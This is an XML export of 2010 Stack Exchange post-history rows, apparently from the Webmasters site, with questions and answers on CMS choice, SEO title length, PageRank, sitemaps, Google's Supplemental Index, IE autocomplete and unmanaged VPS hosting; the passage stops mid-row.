  <row Id="4728" PostHistoryTypeId="2" PostId="2450" RevisionGUID="884ddea0-e6a1-431d-8250-faf59f395f0a" CreationDate="2010-08-22T00:31:23.363" UserId="745" Text="If you're looking for a flexible lightbox that can handle any type of media, check out [mediaboxAdvanced][1] for [MooTools][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It supports:&#xD;&#xA;&#xD;&#xA; - Images&#xD;&#xA; - Twitter&#xD;&#xA; - Social Video&#xD;&#xA; - Flash media&#xD;&#xA; - Quicktime&#xD;&#xA; - Inline&#xD;&#xA; - HTML&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://iaian7.com/webcode/mediaboxAdvanced&#xD;&#xA;  [2]: http://mootools.net/" />
  <row Id="4729" PostHistoryTypeId="16" PostId="2450" RevisionGUID="884ddea0-e6a1-431d-8250-faf59f395f0a" CreationDate="2010-08-22T00:31:23.363" UserId="-1" />
  <row Id="4730" PostHistoryTypeId="2" PostId="2451" RevisionGUID="257d0d21-4658-41fb-a288-ee1bcfd88af7" CreationDate="2010-08-22T00:52:03.277" UserId="1053" Text="If you decide to use this feature, I will try to answer your questions:&#xD;&#xA;&#xD;&#xA;**Placement**:&#xD;&#xA;&#xD;&#xA;- if your page has **list of contents** at the top and if a visitor click some item at the list of contents, i think, it will be useful to add &quot;go to back&quot; link at the end of sub article. i don't know how it can be developed, maybe by using Jquery, you should add dynamically this element after visitor's &quot;link of contents&quot; click.&#xD;&#xA;&#xD;&#xA;- If you page has **no** any list of contents, i think &quot;go to top&quot; link can be placed at the end of article. It does not make sense to add it many times at the same page after every sub article. it is not natural to jump to the top after every sub article, because every sub articles organized in some logical order. Use **simple** links to jump to the other sub articles or top of page, if sub articles have no (or can not have) any logical order.&#xD;&#xA;&#xD;&#xA;**Appearance**: i think, it can be some highlighted (use colored rectangle) that has understandable text, for example &quot;top of page&quot; or &quot;scroll to top&quot; or &quot;table of contents&quot;. &#xD;&#xA;&#xD;&#xA;**How many**: it does not make sense to show this element, if visitor can see all page without scrolling. It is possible to use, for example, [some Jquery plugin][1] to develop this functionality.   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.net-kit.com/7-scroll-to-top-jquery-solutions/" />
  <row Id="4731" PostHistoryTypeId="2" PostId="2452" RevisionGUID="35f6df1f-e050-490b-93c0-f2df30ab2e5f" CreationDate="2010-08-22T01:45:45.337" UserId="686" Text=" - Log in&#xD;&#xA; - &quot;Account Settings&quot; in upper right&#xD;&#xA; - &quot;Manage account users and select your primary e-mail address&quot;" />
  <row Id="4733" PostHistoryTypeId="2" PostId="2453" RevisionGUID="5220b7f7-2ca9-4b31-b180-da7ba629e576" CreationDate="2010-08-22T09:25:35.913" UserId="767" Text="Picking up on what Virtuosi said:&#xD;&#xA;&#xD;&#xA;&gt; A CMS is definitely a good idea, but I would advise having him hire someone to implement a website using a CMS. It should be quicker and higher quality if implemented by a professional. That, in the end, will be better for his business.&#xD;&#xA;&#xD;&#xA;I'd suggest *the actual technology is secondary*. Any of the common, widely used CMSs will work sufficiently well - WordPress, Drupal, Joomla, others.&#xD;&#xA;&#xD;&#xA;The key is a good implementation, ideally one that he can maintain himself ongoing. Expert setup to get things going the right way will avoid much pain. Pitch it as money well spent because he'll avoid making all the common mistakes that all non-specialists make.&#xD;&#xA;&#xD;&#xA;Finding the specialist is the key - find someone local who can do the job well for a reasonable price, and go along with whatever technology they recommend. " />
  <row Id="4734" PostHistoryTypeId="2" PostId="2454" RevisionGUID="69e0f5eb-1dc8-495d-9012-30858c532ae1" CreationDate="2010-08-22T10:12:44.543" UserId="1272" Text="Building small CMS with Django or RoR is quite simple, and, in my opinion it's usually quite easier to maintain, update and extend then solutions such as Joomla or Drupal, as they mostly bring pain at the end.&#xD;&#xA;&#xD;&#xA;But you see, no matter which solution you choose, it's all about experience, you will have to know the basics behind the web server, some programing language, FTP/sFTP access, databases and so on... It is easy for a non programmer to get the small things wrong, which can difference between good and bad site.&#xD;&#xA;&#xD;&#xA;Definitely find someone who has experience in this domain and pay them to do and maintain their work if you are looking for production site regardless if it is a Joomla or Django or `insert name here` powered CMS." />
  <row Id="4735" PostHistoryTypeId="2" PostId="2455" RevisionGUID="135abcd6-dd21-43a8-b664-dd81a970f68f" CreationDate="2010-08-22T10:26:55.790" UserId="828" Text="According to the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms533486%28VS.85%29.aspx&quot;&gt;MSDN article on Autocomplete&lt;/a&gt;, the issue isn't SSL alone, but rather a combination of SSL and the cache headers being sent out by your server:&#xD;&#xA;&#xD;&#xA;    Note: if both of the following conditions are true:&#xD;&#xA;       1. The page was delivered over HTTPS&#xD;&#xA;       2. The page was delivered with headers or a META tag that prevents caching&#xD;&#xA;&#xD;&#xA;    ...the Autocomplete feature is disabled, regardless of the existence or &#xD;&#xA;    value of the Autocomplete attribute. This remark applies to IE5, IE6, &#xD;&#xA;    IE7, and IE8.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;So if you're serving a page over ssl, you'll need to modify the &lt;code&gt;Cache-control&lt;/code&gt; headers your server is sending to &lt;code&gt;private, must-revalidate&lt;/code&gt; to allow IE autocomplete to work on these pages. &#xD;&#xA;&#xD;&#xA;This has come up a couple of times on stackoverflow, with &lt;a href=&quot;http://stackoverflow.com/questions/364066/why-is-the-internet-explorer-autocomplete-feature-disabled-for-all-html-forms-on/364094#364094&quot;&gt;this answer&lt;/a&gt; being particularly informative, including confirmation from an MS engineer that IE is designed to work this way." />
  <row Id="4736" PostHistoryTypeId="5" PostId="2256" RevisionGUID="72b23e98-6cc9-4d45-863d-10af7f7a08e8" CreationDate="2010-08-22T10:48:12.313" UserId="1429" Comment="added 8 characters in body" Text="I think the best thing to do is to subscribe your site into your Google Webmaster Tools (it's free).&#xD;&#xA;Such a tool provides a functionality called &quot;HTML Suggestions&quot; that tells you when your title or meta decription are too short/long or even duplicated in pages.&#xD;&#xA;From my experience **I did NOT see Google Webmaster Tools complain for titles longer than 65 chars**, therefor probably also those words after the 65th chars are still in some way indexed by Google.&#xD;&#xA;&#xD;&#xA;But I have to agree also with the answer given by *corymathews*, since most search engines displays only 65 chars in their results it might be worth paying attention to Google's searchers that won't be ever able to read the text after the 65th char of your title in a search result." />
  <row Id="4737" PostHistoryTypeId="5" PostId="2431" RevisionGUID="46b84369-9132-4278-91f0-eee9b34cffc6" CreationDate="2010-08-22T10:53:40.810" UserId="138" Comment="added 130 characters in body" Text="Please don't let this site become Yellow Pages for companies - I fear this will be a messy Wiki where a few companies will profile them selves. [Google is better for this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?client=firefox-a&amp;rls=org.mozilla%3Aen-GB%3Aofficial&amp;channel=s&amp;hl=en&amp;source=hp&amp;q=order+custom+icons&amp;meta=&amp;btnG=Google+Search" />
  <row Id="4738" PostHistoryTypeId="5" PostId="886" RevisionGUID="8dc297f0-083f-4dd8-92b1-23f712c0a867" CreationDate="2010-08-22T13:09:51.060" UserDisplayName="delete" Comment="added 5 characters in body" Text="It's not just the length, it's being meaningful enough so that tabs in any given browser can be easily differentiated (usability), as well as SEO.&#xD;&#xA;&#xD;&#xA;I never go over 80 characters in length, and I assume that it's likely that some indexes will truncate at 60 characters or so. That isn't as big as a concern as it used to be. But, be aware that Google isn't the only search engine. &#xD;&#xA;&#xD;&#xA;Regardless, following both usability and SEO means get something meaningful in the first 20 characters and avoid keyword spam.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    Gibson Rant 1 - &quot;I hope you ... &quot; | TheBestNews.com&#xD;&#xA;    Gibson Rant 2 - &quot;I'm going to ...&quot; | TheBestNews.com&#xD;&#xA;&#xD;&#xA;You want the least significant words as far 'right' as you can get them, while not defeating tabbed browsing. That is, of course, if the language is read left to right. Reverse the order otherwise (tricky in sites that offer many languages).&#xD;&#xA;&#xD;&#xA;There's also nothing wrong with using titles as a teaser, as long as you deliver when someone clicks through. Discretion, depending on the topic, is of course paramount.&#xD;&#xA;" />
  <row Id="4739" PostHistoryTypeId="2" PostId="2456" RevisionGUID="ba5df790-ce6c-417f-82c2-d11089e75aee" CreationDate="2010-08-22T13:16:10.643" UserDisplayName="DaveS" Text="My vote goes to the new MonoX. Apart from all standard CMS features it has a nice selection of social networking modules. Nice, powerful and free.&#xD;&#xA;&#xD;&#xA;http://monox.mono-software.com" />
  <row Id="4740" PostHistoryTypeId="16" PostId="2456" RevisionGUID="ba5df790-ce6c-417f-82c2-d11089e75aee" CreationDate="2010-08-22T13:16:10.643" UserId="-1" />
  <row Id="4741" PostHistoryTypeId="2" PostId="2457" RevisionGUID="5ec9cdba-a307-43cf-9fbd-43b1789f924d" CreationDate="2010-08-22T14:10:47.147" UserId="636" Text="You may want to try http://99designs.com/ - I've used them for a logo or two in the past and they have an Icon section. At the very least its worth looking at." />
  <row Id="4742" PostHistoryTypeId="16" PostId="2426" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-22T15:07:01.043" UserId="55" />
  <row Id="4743" PostHistoryTypeId="16" PostId="2431" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-22T15:07:01.043" UserId="55" />
  <row Id="4744" PostHistoryTypeId="16" PostId="2457" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-22T15:07:01.043" UserId="55" />
  <row Id="4745" PostHistoryTypeId="16" PostId="2424" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-22T15:07:01.043" UserId="55" />
  <row Id="4746" PostHistoryTypeId="5" PostId="2446" RevisionGUID="e0ebbd85-0316-4026-8cee-2b43a473497f" CreationDate="2010-08-22T17:50:38.640" UserId="745" Comment="added 5271 characters in body" Text="In all honesty, that would be a waste of your time. &#xD;&#xA;&#xD;&#xA;Visible PageRank is only one of over [200 factors][1] that Google uses to determine the rank of a page on a search engine results page. On top of that, it's only updated every few months, while the results themselves are updated several times a day. At best, visible PageRank is a crude approximation of how Google views any page.&#xD;&#xA;&#xD;&#xA;I help moderate a webmaster forum. I certainly won't question your motives, but I'll write this for anyone else who might be reading this. Generally, when we see people with gigantic lists of websites, it means that they want to try to get backlinks from all of these websites, usually through a blog comment or forum post. Usually, those people, whether they know it or not, end up spamming those websites. Please, please, *please*, for the sake of all of those websites, only post a link or make a comment if it's relevant and useful to the page on which it'll appear. If it's not relevant, useful, and desired; it's spam.&#xD;&#xA;&#xD;&#xA;What's more, there are [better ways to improve your site's position in Google][2]. All of the time spent trying to build backlinks, whose value can't even be objectively measured, could instead be spent on your site and users. Concentrate on your site, your strategy, your users, and your content and the rest will follow. &#xD;&#xA;&#xD;&#xA;In the end, increasing your visible PageRank doesn't get you anything tangible. It **does not guarantee** any of the following:&#xD;&#xA;&#xD;&#xA; - Better rankings&#xD;&#xA; - More traffic&#xD;&#xA; - More users&#xD;&#xA; - More conversions&#xD;&#xA; - More revenue&#xD;&#xA;&#xD;&#xA;In fact, **the only thing that increasing your visible PageRank achieves is a slightly longer green bar and a larger number next to it**. Other than that, it doesn't mean a thing. &#xD;&#xA;&#xD;&#xA;Chasing PageRank is a time sink and a money pit. &#xD;&#xA;&#xD;&#xA;Don't fall into it.&#xD;&#xA;&#xD;&#xA;**Edit in response to Marco's comment:**&#xD;&#xA;&#xD;&#xA;@Marco - While I don't disagree that backlinks are a vital part to ranking well in Google, I'd like to encourage you to think about ways to get people to link to you rather than you creating the links yourself. &#xD;&#xA;&#xD;&#xA;Simply put, how much is your time worth? $10/hr? $50/hr? $100+/hr? Can you quantify how much a single link will help your page? How much will that link cost you to create according to your hourly wage? &#xD;&#xA;&#xD;&#xA;Let's do the math. For a good comment or forum post that isn't automated and isn't spam, it usually takes about a minimum of 5 minutes to find the site, read the article, type the comment, check, edit if necessary, and submit. At $10/hour, that link cost you $0.83. At $20/hour, it becomes $1.66. At $50/hour it costs $4.15. For $100/hour, it's $8.30. &#xD;&#xA;&#xD;&#xA;Now think about scale. You're not sure how much impact one link will have in boosting your page, so you'll need more. But how many more? 10 links at $20/hour will cost $16.60. At $100/hour, it'll cost you $83.00. &#xD;&#xA;&#xD;&#xA;But is 10 links enough?&#xD;&#xA;&#xD;&#xA;What about 100 links? 100 links at $20/hour will cost $166.00. At $100/hour, it'll cost you a whopping $830.00.&#xD;&#xA;&#xD;&#xA;That's just one page. How many pages are on your site? If you had to do it for 10 pages, 10 pages with 100 links each at $20/hour will cost $1660.00. At $100/hour, it'll cost you  $8300.00.&#xD;&#xA;&#xD;&#xA;But what if you had to get links to 100 pages?&#xD;&#xA;&#xD;&#xA;How long can your business sustain those prices? And is PageRank an accurate and relevant enough measurement that you can point to it and say, I saw a good monetary ROI on my link building campaign? This is what I mean when I said I doubted the long-term viability of any business that chases PageRank.&#xD;&#xA;&#xD;&#xA;Let's do a quick case study. A while back ago, I wrote an article titled, [Ultimate IE6 Cheatsheet: How To Fix 25+ Internet Explorer 6 Bugs][3]. I knew it was a sore spot for developers and I wanted to write something authoritative on the subject, so I spent a good deal of time researching and writing the article. &#xD;&#xA;&#xD;&#xA;I did what I was supposed to in terms of on-page SEO. I did extensive keyword research, I crafted my title to contain the keywords and also to be linkbait, I used all the right heading tags.&#xD;&#xA;&#xD;&#xA;When it came time to publish, I didn't spend time trying to get thousands of links. Instead, I submitted to Digg, Reddit, Twitter, and a few other sites, maybe 10 in total. Total time spent marketing it was maybe 45 minutes. Within a few hours, I was on front page of Reddit. The first day brought in about 15,000 visitors. &#xD;&#xA;&#xD;&#xA;To date, that page has 3,090 backlinks (according to Yahoo Site Explorer), at least 1,866 tweets (much more, but that's just what my retweet widget counts), 3660 saved bookmarks on delicious, and it brings in around 650 visitors a day through the search engines and links. &#xD;&#xA;&#xD;&#xA;The page now has a PageRank of 5. A PR5 and I didn't do anything to chase it or try to get links from high PR pages.&#xD;&#xA;&#xD;&#xA;What I did do, however, is create something that people wanted to link to and tell others about. And then I put it in front of them using just a few social media links.&#xD;&#xA;&#xD;&#xA;Let's say that I make $50 an hour. How much would promotion of my article have cost if I wanted to get the same number of links myself? $12,823.50. I'll tell you the truth, I can't afford that and I don't think many people can.&#xD;&#xA;&#xD;&#xA;If you think strategically with your content and put it in front of the people who will link to it, you'll get a lot more links at a lower cost than you would if you did them all yourself.&#xD;&#xA;&#xD;&#xA;That, however, isn't the end or even the moral of the story.&#xD;&#xA;&#xD;&#xA;Now let's take a look at what I actually got in terms of revenue from the time I spent on the article. As a rough estimate, I made $70 in advertising. To date, I haven't had any clients because of the article.&#xD;&#xA;&#xD;&#xA;It certainly took more than 2 hours to write the article, so in monetary terms, it was a big net loss.&#xD;&#xA;&#xD;&#xA;The problem is that, while I got a good deal of traffic because of the article, my website wasn't properly monetized. The page's PR5 didn't make my business money. The traffic didn't really make money. At this time, the website isn't designed to pull in a lot of revenue from advertising or other offers.&#xD;&#xA;&#xD;&#xA;One could argue that you must also consider brand equity. I do think that the article generated a lot of goodwill in the web design community and has helped a lot of people, but so far that hasn't translated into work, product sales, or ad revenue.&#xD;&#xA;&#xD;&#xA;What I learned from the experience is that traffic isn't enough. I essentially wasted an enormous opportunity because the website wasn't set up to make money. I'm currently redesigning the website to make better use of advertising. I'm also creating several products that can be used to help monetize the site. I also plan on creating several email lists to build a client base.&#xD;&#xA;&#xD;&#xA;The point is this, if you own a website in hopes of making money, don't waste your time (and as a consequence, money) on things that don't directly contribute to that. Think strategically and think in terms of ROI. Anything else will send you chasing after windmills.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sphinn.com/story/74952#c54521&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google/1547#1547&#xD;&#xA;  [3]: http://www.virtuosimedia.com/tutorials/ultimate-ie6-cheatsheet-how-to-fix-25-internet-explorer-6-bugs" />
  <row Id="4747" PostHistoryTypeId="2" PostId="2458" RevisionGUID="63866cea-bdab-45b0-a911-0a3cf0272b89" CreationDate="2010-08-22T18:08:28.423" UserId="1655" Text="I have some sites hosted on a shared-hosting/cpanel environment and need to make a move up. I have some experience running my own server, but it is very basic (a local box to do live testing/file serv). My question is how difficult is it to run a VPS, should I buy a managed VPS (with stuff already installed), or unmanaged (blank box), and lastly if I go for unmanaged what steps should I take to keep my VPS secure?&#xD;&#xA;Edit: Also how difficult is it to backup files and databases? Can it be automated?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4748" PostHistoryTypeId="1" PostId="2458" RevisionGUID="63866cea-bdab-45b0-a911-0a3cf0272b89" CreationDate="2010-08-22T18:08:28.423" UserId="1655" Text="How difficult is an unmanaged VPS?" />
  <row Id="4749" PostHistoryTypeId="3" PostId="2458" RevisionGUID="63866cea-bdab-45b0-a911-0a3cf0272b89" CreationDate="2010-08-22T18:08:28.423" UserId="1655" Text="&lt;web-hosting&gt;&lt;website-features&gt;&lt;vps&gt;" />
  <row Id="4750" PostHistoryTypeId="2" PostId="2459" RevisionGUID="3fd67f5b-567a-46ba-afb0-674459bc5d93" CreationDate="2010-08-22T18:17:17.397" UserId="1078" Text="For a website with dynamic content (new content is constantly being added), should I only include the newest content in the sitemap or should I include everything (with a sitemap index)? What are the best practices for sitemaps esp. for large sites?&#xD;&#xA;&#xD;&#xA;Also, is there anyway to make google (and other search engines) only crawl the pages in the sitemap?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4751" PostHistoryTypeId="1" PostId="2459" RevisionGUID="3fd67f5b-567a-46ba-afb0-674459bc5d93" CreationDate="2010-08-22T18:17:17.397" UserId="1078" Text="Should I include everything in the sitemap or only new content?" />
  <row Id="4752" PostHistoryTypeId="3" PostId="2459" RevisionGUID="3fd67f5b-567a-46ba-afb0-674459bc5d93" CreationDate="2010-08-22T18:17:17.397" UserId="1078" Text="&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="4753" PostHistoryTypeId="2" PostId="2460" RevisionGUID="eefe398c-d9f5-4900-9cb8-df250d2e0dca" CreationDate="2010-08-22T18:42:10.343" UserId="1253" Text="Include all pages. The purpose of the XML sitemap is to tell the search engines about all of your content. Not just the new stuff.&#xD;&#xA;&#xD;&#xA;From the sitemaps.org website (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt; Sitemaps are an easy way for&#xD;&#xA;&gt; webmasters to inform search engines&#xD;&#xA;&gt; about **pages on their sites that are&#xD;&#xA;&gt; available for crawling**.&#xD;&#xA;&#xD;&#xA;If you have a lot of content you can use [multiple XML sitemaps][1].&#xD;&#xA;&#xD;&#xA;If you have content that you don't want to have crawled or indexed you need to specifically tell the search engines not to crawl and index those pages. Use a [robots.txt][2] file to block any pages or directories that you do not wish to have crawled. You can also use a [meta tag][3] for that as well. But you cannot specify in an XML sitemap not to crawl unlisted pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#index&#xD;&#xA;  [2]: http://www.robotstxt.org&#xD;&#xA;  [3]: http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.html" />
  <row Id="4754" PostHistoryTypeId="2" PostId="2461" RevisionGUID="36587d59-1ad1-4f44-b5b8-48c7eeeac32e" CreationDate="2010-08-22T20:29:07.367" UserDisplayName="Adam Lund" Text="We have had problems with our web pages being put into Google's Supplemental Index. We have recently corrected what we believe were all the problems that might have caused this. However, Google still seems to be taking new content and putting it straight into its Supplemental Pages index. Have we incurred some sort of Supplemental Penalty and everything we now generate will more likely go into the Supplemental Index or is it likely something is still wrong with our website? We only put the new content up 2 days ago and it is already in the Supplemental Index!&#xD;&#xA;&#xD;&#xA;Any help is much appreciated!" />
  <row Id="4755" PostHistoryTypeId="1" PostId="2461" RevisionGUID="36587d59-1ad1-4f44-b5b8-48c7eeeac32e" CreationDate="2010-08-22T20:29:07.367" UserDisplayName="Adam Lund" Text="Why is Google putting new content straight into its Supplemental Index?" />
  <row Id="4756" PostHistoryTypeId="3" PostId="2461" RevisionGUID="36587d59-1ad1-4f44-b5b8-48c7eeeac32e" CreationDate="2010-08-22T20:29:07.367" UserDisplayName="Adam Lund" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="4757" PostHistoryTypeId="2" PostId="2462" RevisionGUID="f1f3bfd6-167a-4ad4-94da-79eb7f3b4361" CreationDate="2010-08-22T21:04:31.833" UserId="1128" Text="you can use a tool to convert your external style to inline stylesheets, such as used for email-marketing and other areas where inlinestyling is the only option&#xD;&#xA;&#xD;&#xA; - http://inlinestyler.torchboxapps.com/styler/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4758" PostHistoryTypeId="5" PostId="2446" RevisionGUID="2620bde6-bfd6-4b26-aafa-9ba47247d621" CreationDate="2010-08-22T21:27:52.593" UserId="745" Comment="edited body" Text="In all honesty, that would be a waste of your time. &#xD;&#xA;&#xD;&#xA;Visible PageRank is only one of over [200 factors][1] that Google uses to determine the rank of a page on a search engine results page. On top of that, it's only updated every few months, while the results themselves are updated several times a day. At best, visible PageRank is a crude approximation of how Google views any page.&#xD;&#xA;&#xD;&#xA;I help moderate a webmaster forum. I certainly won't question your motives, but I'll write this for anyone else who might be reading this. Generally, when we see people with gigantic lists of websites, it means that they want to try to get backlinks from all of these websites, usually through a blog comment or forum post. Usually, those people, whether they know it or not, end up spamming those websites. Please, please, *please*, for the sake of all of those websites, only post a link or make a comment if it's relevant and useful to the page on which it'll appear. If it's not relevant, useful, and desired; it's spam.&#xD;&#xA;&#xD;&#xA;What's more, there are [better ways to improve your site's position in Google][2]. All of the time spent trying to build backlinks, whose value can't even be objectively measured, could instead be spent on your site and users. Concentrate on your site, your strategy, your users, and your content and the rest will follow. &#xD;&#xA;&#xD;&#xA;In the end, increasing your visible PageRank doesn't get you anything tangible. It **does not guarantee** any of the following:&#xD;&#xA;&#xD;&#xA; - Better rankings&#xD;&#xA; - More traffic&#xD;&#xA; - More users&#xD;&#xA; - More conversions&#xD;&#xA; - More revenue&#xD;&#xA;&#xD;&#xA;In fact, **the only thing that increasing your visible PageRank achieves is a slightly longer green bar and a larger number next to it**. Other than that, it doesn't mean a thing. &#xD;&#xA;&#xD;&#xA;Chasing PageRank is a time sink and a money pit. &#xD;&#xA;&#xD;&#xA;Don't fall into it.&#xD;&#xA;&#xD;&#xA;**Edit in response to Marco's comment:**&#xD;&#xA;&#xD;&#xA;@Marco - While I don't disagree that backlinks are a vital part to ranking well in Google, I'd like to encourage you to think about ways to get people to link to you rather than you creating the links yourself. &#xD;&#xA;&#xD;&#xA;Simply put, how much is your time worth? $10/hr? $50/hr? $100+/hr? Can you quantify how much a single link will help your page? How much will that link cost you to create according to your hourly wage? &#xD;&#xA;&#xD;&#xA;Let's do the math. For a good comment or forum post that isn't automated and isn't spam, it usually takes about a minimum of 5 minutes to find the site, read the article, type the comment, check, edit if necessary, and submit. At $10/hour, that link cost you $0.83. At $20/hour, it becomes $1.66. At $50/hour it costs $4.15. For $100/hour, it's $8.30. &#xD;&#xA;&#xD;&#xA;Now think about scale. You're not sure how much impact one link will have in boosting your page, so you'll need more. But how many more? 10 links at $20/hour will cost $16.60. At $100/hour, it'll cost you $83.00. &#xD;&#xA;&#xD;&#xA;But is 10 links enough?&#xD;&#xA;&#xD;&#xA;What about 100 links? 100 links at $20/hour will cost $166.00. At $100/hour, it'll cost you a whopping $830.00.&#xD;&#xA;&#xD;&#xA;That's just one page. How many pages are on your site? If you had to do it for 10 pages, 10 pages with 100 links each at $20/hour will cost $1660.00. At $100/hour, it'll cost you  $8300.00.&#xD;&#xA;&#xD;&#xA;But what if you had to get links to 100 pages?&#xD;&#xA;&#xD;&#xA;How long can your business sustain those prices? And is PageRank an accurate and relevant enough measurement that you can point to it and say, I saw a good monetary ROI on my link building campaign? This is what I mean when I said I doubted the long-term viability of any business that chases PageRank.&#xD;&#xA;&#xD;&#xA;Let's do a quick case study. A while back ago, I wrote an article titled, [Ultimate IE6 Cheatsheet: How To Fix 25+ Internet Explorer 6 Bugs][3]. I knew it was a sore spot for developers and I wanted to write something authoritative on the subject, so I spent a good deal of time researching and writing the article. &#xD;&#xA;&#xD;&#xA;I did what I was supposed to in terms of on-page SEO. I did extensive keyword research, I crafted my title to contain the keywords and also to be linkbait, I used all the right heading tags.&#xD;&#xA;&#xD;&#xA;When it came time to publish, I didn't spend time trying to get thousands of links. Instead, I submitted to Digg, Reddit, Twitter, and a few other sites, maybe 10 in total. Total time spent marketing it was maybe 45 minutes. Within a few hours, I was on front page of Reddit. The first day brought in about 15,000 visitors. &#xD;&#xA;&#xD;&#xA;To date, that page has 3,090 backlinks (according to Yahoo Site Explorer), at least 1,866 tweets (much more, but that's just what my retweet widget counts), 3660 saved bookmarks on delicious, and it brings in around 650 visitors a day through the search engines and links. &#xD;&#xA;&#xD;&#xA;The page now has a PageRank of 5. A PR5 and I didn't do anything to chase it or try to get links from high PR pages.&#xD;&#xA;&#xD;&#xA;What I did do, however, is create something that people wanted to link to and tell others about. And then I put it in front of them using just a few social media links.&#xD;&#xA;&#xD;&#xA;Let's say that I make $50 an hour. How much would promotion of my article have cost if I wanted to get the same number of links myself? $12,823.50. I'll tell you the truth, I can't afford that and I don't think many people can.&#xD;&#xA;&#xD;&#xA;If you think strategically with your content and put it in front of the people who will link to it, you'll get a lot more links at a lower cost than you would if you did them all yourself.&#xD;&#xA;&#xD;&#xA;That, however, isn't the end or even the moral of the story.&#xD;&#xA;&#xD;&#xA;Now let's take a look at what I actually got in terms of revenue from the time I spent on the article. As a rough estimate, I made $70 in advertising. To date, I haven't had any clients because of the article.&#xD;&#xA;&#xD;&#xA;It certainly took more than 2 hours to write the article, so in monetary terms, it was a big net loss.&#xD;&#xA;&#xD;&#xA;The problem is that, while I got a good deal of traffic because of the article, my website wasn't properly monetized. The page's PR5 didn't make my business money. The traffic didn't really make money. At this time, the website isn't designed to pull in a lot of revenue from advertising or other offers.&#xD;&#xA;&#xD;&#xA;One could argue that you must also consider brand equity. I do think that the article generated a lot of goodwill in the web design community and has helped a lot of people, but so far that hasn't translated into work, product sales, or ad revenue.&#xD;&#xA;&#xD;&#xA;What I learned from the experience is that traffic isn't enough. I essentially wasted an enormous opportunity because the website wasn't set up to make money. I'm currently redesigning the website to make better use of advertising. I'm also creating several products that can be used to help monetize the site. I also plan on creating several email lists to build a client base.&#xD;&#xA;&#xD;&#xA;The point is this, if you own a website in hopes of making money, don't waste your time (and as a consequence, money) on things that don't directly contribute to that. Think strategically and think in terms of ROI. Anything else will send you tilting after windmills.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sphinn.com/story/74952#c54521&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google/1547#1547&#xD;&#xA;  [3]: http://www.virtuosimedia.com/tutorials/ultimate-ie6-cheatsheet-how-to-fix-25-internet-explorer-6-bugs" />
  <row Id="4759" PostHistoryTypeId="2" PostId="2463" RevisionGUID="80e04549-7e95-43f0-a333-07652a8182b0" CreationDate="2010-08-22T23:17:20.683" UserId="1253" Text="There's a lot of speculation about what causes a page to go into Google's Supplemental Index but the only official explanation from Google as to why this may happen was from Matt Cutts when [he announced that they were no longer labeling supplemental results as such][1]. His explanation was:&#xD;&#xA;&#xD;&#xA;&gt; These are often pages with lower PageRank or those with more complex URLs.&#xD;&#xA;&#xD;&#xA;Working from that information the odds are that your new pages have a low PageRank and are relegated to the supplemental index *for now*. That makes sense as your new pages (two days old is very new) have not had a chance to get new links and for those links to be found and factored in by Google yet. &#xD;&#xA;&#xD;&#xA;As always with anything that has to do with SEO you need to be patient. Good rankings don't come quickly for anyone. But sites that have quality content (and good usability and accessibility) always rise over time. If your site is good it will do the same.&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2007/07/supplemental-goes-mainstream.html" />
  <row Id="4760" PostHistoryTypeId="2" PostId="2464" RevisionGUID="a4af7a19-7daa-48da-8a1c-dec546b2423c" CreationDate="2010-08-22T23:57:18.480" UserId="1064" Text="For the last two and a half years, I worked as the product manager at an unmanaged VPS hosting company - of all the issues which our support department dealt with, 80-90% of the issues could be chalked up to users' familiarity with the systems.&#xD;&#xA;&#xD;&#xA;If you are not already familiar with Linux system administration, you will need to devote a great deal of time to familiarizing yourself with all of the applications you're using and the CentOS operating system - you could pay someone else to set up your VPS for you, but that wouldn't help down the road when you need to update software and resolve administrative issues... (if you're not sure, go with a managed service)&#xD;&#xA;&#xD;&#xA;If you do have time to spare for picking up administrative tasks and you're thoroughly comfortable with troubleshooting things yourself (and reading documentation!) I'd recommend an unmanaged VPS to get started - give yourself a couple days to get it set up and to make sure everything is properly configured before you start hosting sites.&#xD;&#xA;&#xD;&#xA;cPanel will do *almost* everything for you (until things go wrong) but you still need to know how to use bash and yum, how to secure your VPS, and how to troubleshoot your own connectivity issues at a minimum if you decide to roll with an unmanaged service... also, whenever WHM/cPanel sends you an e-mail alert you should read it *and* follow any links to WHM/cPanel documentation - our support team had far too many cPanel tickets in which the subscriber forwarded along the alert after ignoring the link which described how to solve the problem.&#xD;&#xA;&#xD;&#xA;Here are a few recommended Google searches to get you started:&#xD;&#xA;&#xD;&#xA;[centos system administration guide][1]&#xD;&#xA;&#xD;&#xA;[linux security best practices][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/#hl=en&amp;safe=off&amp;q=centos+system+administration+guide&amp;aq=f&amp;aqi=g1&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=79f20f649318ff60&#xD;&#xA;  [2]: 